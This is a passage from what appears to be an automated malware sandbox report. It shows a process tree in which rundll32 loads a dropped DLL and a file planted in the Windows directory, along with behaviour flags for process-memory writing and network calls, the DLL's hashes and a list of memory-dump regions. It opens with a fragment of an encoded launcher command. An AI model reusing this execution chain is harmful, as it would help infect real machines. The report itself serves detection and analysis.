BjAGgAewB9AH0AJABLADAAMABDAD0AKAAoACcASAAwACcAKwAnAF8AJwApACsAJwBDACcAKQA=2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tl41pux\Bmd_p5f\G35D.dll AnyString3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tl41pux\Bmd_p5f\G35D.dll AnyString4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\Tl41pux\Bmd_p5f\G35D.dll",#15⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Froktyco\uyrmjsw.apz",YzwcjBsNjkiUsev6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Froktyco\uyrmjsw.apz",#17⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Tl41pux\Bmd_p5f\G35D.dllMD5
87ab0405dd92650067542696ee0c2c98
SHA1204e0200e2c648edf70d90472e0b6c4b15bc58c8
SHA2568a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45
SHA5122fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2
-
\Users\Admin\Tl41pux\Bmd_p5f\G35D.dllMD5
87ab0405dd92650067542696ee0c2c98
SHA1204e0200e2c648edf70d90472e0b6c4b15bc58c8
SHA2568a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45
SHA5122fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2
-
\Users\Admin\Tl41pux\Bmd_p5f\G35D.dllMD5
87ab0405dd92650067542696ee0c2c98
SHA1204e0200e2c648edf70d90472e0b6c4b15bc58c8
SHA2568a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45
SHA5122fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2
-
\Users\Admin\Tl41pux\Bmd_p5f\G35D.dllMD5
87ab0405dd92650067542696ee0c2c98
SHA1204e0200e2c648edf70d90472e0b6c4b15bc58c8
SHA2568a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45
SHA5122fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2
-
\Users\Admin\Tl41pux\Bmd_p5f\G35D.dllMD5
87ab0405dd92650067542696ee0c2c98
SHA1204e0200e2c648edf70d90472e0b6c4b15bc58c8
SHA2568a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45
SHA5122fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2
-
\Users\Admin\Tl41pux\Bmd_p5f\G35D.dllMD5
87ab0405dd92650067542696ee0c2c98
SHA1204e0200e2c648edf70d90472e0b6c4b15bc58c8
SHA2568a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45
SHA5122fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2
-
\Users\Admin\Tl41pux\Bmd_p5f\G35D.dllMD5
87ab0405dd92650067542696ee0c2c98
SHA1204e0200e2c648edf70d90472e0b6c4b15bc58c8
SHA2568a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45
SHA5122fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2
-
\Users\Admin\Tl41pux\Bmd_p5f\G35D.dllMD5
87ab0405dd92650067542696ee0c2c98
SHA1204e0200e2c648edf70d90472e0b6c4b15bc58c8
SHA2568a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45
SHA5122fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2
-
\Users\Admin\Tl41pux\Bmd_p5f\G35D.dllMD5
87ab0405dd92650067542696ee0c2c98
SHA1204e0200e2c648edf70d90472e0b6c4b15bc58c8
SHA2568a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45
SHA5122fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2
-
memory/532-7-0x000007FEFC2B1000-0x000007FEFC2B3000-memory.dmpFilesize
8KB
-
memory/532-9-0x0000000002380000-0x0000000002381000-memory.dmpFilesize
4KB
-
memory/532-13-0x000000001ADA4000-0x000000001ADA6000-memory.dmpFilesize
8KB
-
memory/532-14-0x0000000002010000-0x0000000002011000-memory.dmpFilesize
4KB
-
memory/532-15-0x000000001ACD0000-0x000000001ACD1000-memory.dmpFilesize
4KB
-
memory/532-16-0x0000000002910000-0x0000000002911000-memory.dmpFilesize
4KB
-
memory/532-8-0x000007FEF57C0000-0x000007FEF61AC000-memory.dmpFilesize
9.9MB
-
memory/532-12-0x000000001ADA0000-0x000000001ADA2000-memory.dmpFilesize
8KB
-
memory/532-10-0x000000001AE20000-0x000000001AE21000-memory.dmpFilesize
4KB
-
memory/532-11-0x0000000002540000-0x0000000002541000-memory.dmpFilesize
4KB
-
memory/532-6-0x0000000000000000-mapping.dmp
-
memory/664-25-0x0000000000000000-mapping.dmp
-
memory/676-43-0x000007FEF7EB0000-0x000007FEF812A000-memory.dmpFilesize
2.5MB
-
memory/696-5-0x0000000000000000-mapping.dmp
-
memory/800-33-0x0000000000000000-mapping.dmp
-
memory/844-4-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/844-2-0x0000000072C11000-0x0000000072C14000-memory.dmpFilesize
12KB
-
memory/844-3-0x0000000070691000-0x0000000070693000-memory.dmpFilesize
8KB
-
memory/992-37-0x0000000000000000-mapping.dmp
-
memory/1108-20-0x0000000076881000-0x0000000076883000-memory.dmpFilesize
8KB
-
memory/1108-31-0x0000000000170000-0x0000000000190000-memory.dmpFilesize
128KB
-
memory/1108-32-0x0000000010000000-0x0000000010023000-memory.dmpFilesize
140KB
-
memory/1108-19-0x0000000000000000-mapping.dmp
-
memory/1128-17-0x0000000000000000-mapping.dmp